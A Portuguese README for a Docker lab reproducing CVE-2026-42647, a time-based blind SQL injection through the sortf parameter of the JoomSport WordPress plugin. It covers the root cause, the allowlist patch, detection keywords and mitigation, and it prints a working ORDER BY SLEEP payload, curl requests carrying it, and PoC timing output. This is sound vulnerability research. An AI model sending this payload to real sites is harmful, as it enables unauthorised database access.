
sortfEste repositório contém um laboratório Docker local para reproduzir e validar a CVE-2026-42647, uma vulnerabilidade de injeção SQL não autenticada que afeta o plugin WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.
O comportamento vulnerável ocorre no recurso de ordenação da lista de jogadores. Um visitante público pode controlar o parâmetro de consulta sortf, que é usado para construir uma cláusula SQL ORDER BY. Em versões vulneráveis, o valor é higienizado como texto e envolvido em crases, mas não é validado contra uma lista de permissões estrita antes de ser anexado à consulta SQL.
Este laboratório compara duas versões do JoomSport:
| Serviço | Versão do JoomSport | Finalidade | URL |
|---|---|---|---|
vuln | 5.7.6 | Alvo de comparação vulnerável | http://localhost:8081 |
patched | 5.7.8 | Alvo de comparação corrigido | http://localhost:8082 |
Os avisos públicos identificam as versões anteriores a 5.7.8 como afetadas e a 5.7.8 como a versão corrigida. Este laboratório utiliza a 5.7.6 como alvo vulnerável porque uma tag de origem 5.7.7 não estava disponível na listagem de tags SVN do plugin no WordPress.org no momento em que este laboratório foi preparado.
A cadeia de vulnerabilidade demonstrada é:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
Este laboratório valida a vulnerabilidade como uma injeção SQL cega baseada em tempo. Ele não realiza dumping de banco de dados, extração de credenciais, modificação de dados ou operações SQL destrutivas.
Este laboratório foi projetado apenas para pesquisa local controlada, compreensão em nível de código-fonte e demonstração de portfólio.
## Fatos Verificados
| Alegação | Evidência | Como verificar neste laboratório |
| --- | --- | --- |
| JoomSport anterior à versão 5.7.8 é relatado como vulnerável a injeção SQL não autenticada. | Advisories públicos identificam JoomSport `< 5.7.8` / `<= 5.7.7` como afetados. | Revise a seção References e compare os serviços vulnerável/corrigido. |
| JoomSport 5.7.8 é a versão corrigida. | Advisories públicos e comparação de código-fonte mostram que a versão 5.7.8 valida o valor de `sortf` antes de construir a expressão de ordenação. | Inspecione `class-jsport-playerlist.php` em ambas as versões. |
| O parâmetro afetado é `sortf`. | O código vulnerável da lista de jogadores lê `classJsportRequest::get('sortf')`. | Execute o PoC e observe a requisição `sortf` injetada. |
| O código vulnerável constrói um valor de ordenação SQL dinâmico a partir da entrada do usuário. | Na versão vulnerável, `sortf` é usado para construir `$options['ordering']`. | Inspecione `sportleague/classes/objects/class-jsport-playerlist.php`. |
| O sink SQL é uma cláusula `ORDER BY`. | O valor `$ordering` gerado é posteriormente anexado a uma consulta SQL com `ORDER BY`. | Inspecione `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| A correção usa uma correção no estilo de allowlist. | A versão corrigida introduz colunas estáticas permitidas e padrões esperados de campos dinâmicos antes de usar o campo de ordenação. | Compare o código-fonte do JoomSport 5.7.6 e 5.7.8. |
| O laboratório demonstra injeção SQL cega baseada em tempo. | O alvo vulnerável atrasa quando uma expressão `SLEEP()` injetada é usada; o alvo corrigido não atrasa. | Execute `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |
## Premissas e Incógnitas
Este laboratório usa o JoomSport 5.7.6 como alvo vulnerável de comparação porque a versão pública corrigida é a 5.7.8 e uma tag de código-fonte 5.7.7 não estava disponível na listagem de tags SVN do plugin no WordPress.org quando o laboratório foi preparado.
O laboratório não afirma que 5.7.6 é a única versão vulnerável. Ele é usado como uma linha de base vulnerável reproduzível para comparar o comportamento vulnerável com o comportamento da versão corrigida 5.7.8.
O laboratório se concentra no parâmetro `sortf` no fluxo de ordenação da lista de jogadores.
O impacto demonstrado é injeção SQL cega baseada em tempo. O laboratório não demonstra:
* dumping direto de banco de dados,
* extração de credenciais,
* bypass de autenticação,
* escalonamento de privilégios,
* modificação arbitrária de dados,
* execução remota de código,
* persistência,
* callbacks externos,
* ou ataques contra sistemas fora do laboratório.
Comportamento baseado em erro ou booleano pode ser possível dependendo do comportamento do banco de dados, da configuração da aplicação e das diferenças de resposta, mas este laboratório não se baseia nessas técnicas. A prova principal é baseada em tempo.
## Resumo da Causa Raiz
A causa raiz é a construção insegura de uma cláusula SQL `ORDER BY` dinâmica a partir do parâmetro de requisição `sortf`.
O caminho do código vulnerável começa em:```text
sportleague/classes/objects/class-jsport-playerlist.php
Dentro da lógica de carregamento da lista de jogadores, o JoomSport lê o parâmetro da requisição:```text sortf
e usa-o para construir:```text
$options['ordering']
O padrão de código-fonte vulnerável relevante é:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
O problema não é principalmente o parâmetro `sortd`. O valor de `sortd` é restrito a:```text
ASC
DESC
O problema é o parâmetro sortf porque ele controla a posição do identificador/expressão SQL usada para ordenação.
A expressão perigosa é:```php
"".classJsportRequest::get('sortf').""
O código coloca a entrada controlada pelo atacante dentro de um contexto de identificador MySQL e então a passa adiante como um fragmento de ordenação SQL.
O código aplica:```php
sanitize_text_field()
mas sanitize_text_field() não é validação de identificador SQL. Ele foi projetado para limpar texto, não para construir sintaxe SQL com segurança.
O código vulnerável também envolve o campo de ordenação controlado pelo usuário em crases. No entanto, crases não são uma fronteira de segurança quando o atacante pode influenciar o conteúdo do identificador. Se um atacante puder injetar uma crase no valor, ele poderá escapar do contexto de identificador pretendido.
O valor de ordenação gerado é posteriormente passado para a consulta de recuperação do jogador e anexado a uma cláusula SQL ORDER BY em:```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
O padrão de sink é:```php
$query .= ' ORDER BY '.($ordering);
Isso cria o fluxo de dados vulnerável:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
O problema de segurança é que a aplicação trata um parâmetro de requisição controlado pelo usuário como um identificador/expressão SQL sem antes validá-lo contra uma allowlist rigorosa.
## Resumo do Patch de Origem
O patch relevante está em:```text
sportleague/classes/objects/class-jsport-playerlist.php
Na versão vulnerável, o código da lista de jogadores constrói $options['ordering'] diretamente a partir do valor da requisição:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
A parte vulnerável é que `classJsportRequest::get('sortf')` é usado dentro da expressão de ordenação SQL.
O JoomSport 5.7.8 muda esse comportamento introduzindo uma variável de campo de ordenação validada antes de construir `$options['ordering']`.
A versão corrigida inicializa um padrão seguro:```php
$sortFieldEsc = 'post_title';
Em seguida, define as colunas de ordenação estática permitidas:```php $sortCols = array("played", "career_minutes", "post_title");
Quando `sortf` está presente, o código corrigido só o aceita se corresponder a um dos valores estáticos esperados:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
O patch também permite formatos esperados de campos dinâmicos de eventos/estatísticas:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
A alteração final relevante para a segurança é que `$options['ordering']` é construído a partir de `$sortFieldEsc` em vez do valor bruto da requisição `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
Isto não remove a ordenação dinâmica. Altera o limite de confiança.
Antes do patch:```text request sortf value directly controlled the ORDER BY identifier
Após o patch:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
Se o atacante enviar um valor inesperado, como:```text post_title`DESC,(SLEEP(2))#
o código corrigido não atribui esse valor a `$sortFieldEsc`.
Em vez disso, o campo de ordenação recorre a:```text
post_title
É por isso que o serviço vulnerável sofre atrasos, enquanto o serviço corrigido permanece próximo da linha de base.
A lição de segurança do patch é:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## Arquitetura do Laboratório
O laboratório executa duas instalações WordPress isoladas através do Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
Os dois serviços WordPress executam bancos de dados separados e versões de plugins separadas:
Serviços expostos por padrão:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
O processo de configuração cria dados mínimos do JoomSport necessários para renderizar a rota da lista de jogadores:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
Os serviços vulneráveis e corrigidos usam o mesmo formato de dados do laboratório, de modo que o comportamento de temporização possa ser comparado de forma justa.
requests para executar o PoC a partir do hostInstale a dependência do Python no host, se necessário:```bash python3 -m pip install requests
## Início Rápido
Inicie o laboratório:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Observe os contêineres de configuração:```bash docker compose logs -f setup-vuln setup-patched
Mensagens esperadas de conclusão da configuração:```text
[VULN] setup complete
[PATCHED] setup complete
Verificar o status do container:```bash docker compose ps
Serviços expostos esperados:```text
http://localhost:8081
http://localhost:8082
Execute o PoC contra o alvo vulnerável:```bash python3 poc/poc.py http://localhost:8081
Execute o PoC contra o alvo corrigido:```bash
python3 poc/poc.py http://localhost:8082
Execute o PoC contra ambos os alvos em um único comando:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Para estatísticas de tempo mais estáveis, aumente o número de rodadas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Você também pode ajustar o tempo de espera solicitado:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
## Uso do PoC
O PoC verifica cada alvo de forma independente.
Não requer mais opções separadas `--vuln-url` ou `--patched-url`. Em vez disso, passe uma ou mais URLs de destino como argumentos posicionais:```bash
python3 poc/poc.py <target_url> [target_url...]
Exemplos:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082
Se nenhuma URL de destino for fornecida, o script solicita interativamente uma ou mais URLs de destino locais.
Opções suportadas:```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
O PoC é intencionalmente de escopo local. Ele aceita alvos no estilo localhost, como:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
O PoC recusa alvos não locais por padrão.
## Como o PoC Decide
Para cada alvo, o PoC executa duas séries de temporização:```text
[1/2] Baseline timing
[2/2] Injected timing
A solicitação de referência usa um campo de ordenação normal:```text sortf=post_title
A solicitação injetada utiliza um payload de temporização somente local no parâmetro `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#
O PoC calcula:```text delta = injected median - baseline median
| Verdicto | Significado |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | A requisição injetada é significativamente mais lenta que a linha de base. |
| `PATCHED-LIKE` | A requisição injetada permanece próxima da linha de base. |
| `UNREACHABLE` | O alvo não pôde ser alcançado. |
| `INCONCLUSIVE` | Alguns dados de temporização estavam ausentes ou incompletos. |
Regra de decisão padrão:```text
injected median - baseline median >= 60% of requested SLEEP()
Para o padrão --sleep 2, o limiar é:```text
1.200s median delta
Isso significa que um alvo só é relatado como `VULNERABLE-LIKE` quando a requisição injetada é claramente mais lenta que a sua própria linha de base.
Alvos inacessíveis ou inconclusivos não são contados como corrigidos.
## Reprodução Manual de HTTP com curl
Você pode reproduzir a validação manualmente sem usar o PoC em Python.
Requisição de linha de base vulnerável:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Requisição injetada vulnerável:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Solicitação de baseline corrigida:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Requisição injetada corrigida:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Comparação esperada:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
Comando:```bash python3 poc/poc.py http://localhost:8081
Sinal vulnerável esperado:```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Alvo Corrigido
Comando:```bash
python3 poc/poc.py http://localhost:8082
Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
### Múltiplos Alvos
Comando:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Resultado esperado:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Alvo Inacessível
Se um alvo não estiver em execução, o PoC deve reportar `UNREACHABLE`, e não `PATCHED-LIKE`.
Exemplo:```bash
python3 poc/poc.py http://localhost:8083
Decisão esperada:```text Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
Alvos inalcançáveis não são contados como corrigidos.
## Como o PoC Funciona
O PoC sonda a rota de lista de jogadores do JoomSport em busca de uma postagem de temporada semeada.
A rota alvo é equivalente a:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
A solicitação de linha de base usa:```text sortf=post_title
Isso deve produzir a ordenação normal da lista de jogadores.
A requisição injetada usa:```text
sortf=post_title`DESC,(SLEEP(2))#
O código vulnerável envolve sortf entre crases e anexa uma direção de ordenação. O valor injetado é projetado para sair do contexto de identificador pretendido e introduzir uma expressão de temporização na cláusula ORDER BY.
Conceitualmente, o fragmento SQL vulnerável torna-se semelhante a:```sql
ORDER BY post_title DESC, (SLEEP(2))
O marcador de comentário `#` impede que a crase final e a direção interfiram na expressão injetada.
Este não é um payload de consulta empilhada. Ele não injeta:```sql
; SELECT SLEEP(2);
Em vez disso, ele injeta uma expressão SQL dentro do contexto existente de ORDER BY.
A versão corrigida não executa a expressão injetada porque o valor de sortf é verificado em relação aos campos de ordenação permitidos e retorna ao post_title quando o valor é inesperado.
Este laboratório demonstra uma injeção SQL cega baseada em tempo não autenticada no parâmetro sortf da lista de jogadores do JoomSport.
A versão vulnerável executa uma expressão SQL de temporização injetada por meio da cláusula ORDER BY, produzindo um atraso claro na resposta. A versão corrigida não atrasa porque o campo de ordenação injetado é rejeitado e substituído por um valor seguro da lista de permitidos.
O laboratório comprova apenas a execução SQL baseada em tempo. Ele não demonstra extração de dados, modificação de dados, bypass de autenticação, escalonamento de privilégios ou execução remota de código.
Indicadores potenciais incluem solicitações diretas às rotas da lista de jogadores do JoomSport com valores incomuns de sortf.
Exemplo de padrão de solicitação suspeita:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC
Características suspeitas do `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
Exemplo de solicitação de laboratório local:```text sortf=post_title`DESC,(SLEEP(2))#
Expected vulnerable signal:```text
HTTP 200 response with significant timing delay
Sinal corrigido esperado:```text HTTP 200 response without significant timing delay
Possíveis ideias de monitoramento em produção:
* Revise os logs de acesso web em busca de valores incomuns de `sortf`.
* Alerte sobre palavras-chave SQL ou marcadores de comentário dentro de parâmetros de ordenação.
* Monitore solicitações repetidas às rotas de lista de jogadores do JoomSport com pequenas alterações de parâmetros.
* Monitore consultas de banco de dados lentas envolvendo tabelas de lista de jogadores do JoomSport.
* Correlacione solicitações lentas com tráfego público não autenticado.
* Revise se o JoomSport está instalado e se sua versão é anterior à 5.7.8.
## Notas de Mitigação e Patch
Atualize o JoomSport para 5.7.8 ou posterior.
A versão corrigida restringe o parâmetro `sortf` aos campos de ordenação esperados e aos padrões de campos dinâmicos. Valores inesperados revertem para um campo de ordenação padrão seguro.
Orientação de mitigação em nível de aplicação:
* Atualize o plugin JoomSport.
* Não exponha versões desatualizadas de plugins em sites WordPress públicos.
* Revise os logs web em busca de parâmetros `sortf` suspeitos.
* Desative ou restrinja a funcionalidade afetada somente como mitigação temporária se a atualização imediata não for possível.
* Use uma regra de Web Application Firewall como camada temporária, não como substituta da aplicação de patches.
* Trate identificadores SQL dinâmicos de forma diferente dos valores normais: use listas de permissões para nomes de colunas, nomes de tabelas, direções de ordenação e componentes semelhantes de sintaxe SQL.
O controle mais importante é a lista de permissões. Somente o escape não é uma correção completa para identificadores SQL dinâmicos.
## Comandos Úteis de Verificação
Verifique os contêineres em execução:```bash
docker compose ps
Acompanhar logs de configuração:```bash docker compose logs -f setup-vuln setup-patched
Verifique os serviços WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
Execute o PoC contra o serviço vulnerável:```bash python3 poc/poc.py http://localhost:8081
Execute o PoC contra o serviço corrigido:```bash
python3 poc/poc.py http://localhost:8082
Execute o PoC contra ambos os serviços:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Rode a PoC com mais rodadas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Salvar evidências:```bash mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt
docker compose ps
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
evidence/docker-compose-logs.txt
Verifique as versões de plugins dentro do WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Inspecione o código-fonte vulnerável:```bash
docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Inspecione o código-fonte corrigido:```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Inspecionar o sink SQL:```bash
docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
## Limpeza
Pare e remova os contêineres e as redes:```bash
docker compose down --remove-orphans
Remova containers, redes e volumes:```bash docker compose down -v --remove-orphans
Remova os arquivos de evidência se criados:```bash
rm -rf evidence/
Este laboratório destina-se apenas a pesquisa de segurança local e demonstração controlada.
Não execute o PoC ou payloads contra sistemas que você não possui ou para os quais não tenha permissão explícita de teste.
Não use credenciais reais, segredos de produção ou alvos externos neste laboratório.
O PoC está intencionalmente limitado a serviços Docker locais, tais como:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
O PoC não inclui payloads para dump de banco de dados, roubo de credenciais, modificação de dados, persistência, movimento lateral ou callbacks externos.
O objetivo é demonstrar uma condição técnica específica em um ambiente controlado:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
Aviso da Wordfence: JoomSport <= 5.7.7 - Injeção de SQL não autenticada via parâmetro sortf
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
Aviso da Wordfence: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - Injeção de SQL não autenticada https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
Banco de dados de vulnerabilidades de plugins do WPScan: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/
Plugin do WordPress.org: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/
SVN de plugins do WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
Tags SVN de plugins do WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
Guia de Testes de Segurança Web da OWASP: Testes para Injeção de SQL https://owasp.org/www-project-web-security-testing-guide/
Série de Cheat Sheets da OWASP: Prevenção de Injeção de SQL https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| Service | Component | Version / Role |
|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | banco de dados para o alvo vulnerável |
db-patched | MariaDB | banco de dados para o alvo corrigido |
setup-vuln | WP-CLI init service | instala o WordPress e popula o alvo vulnerável |
setup-patched | WP-CLI init service | instala o WordPress e popula o alvo corrigido |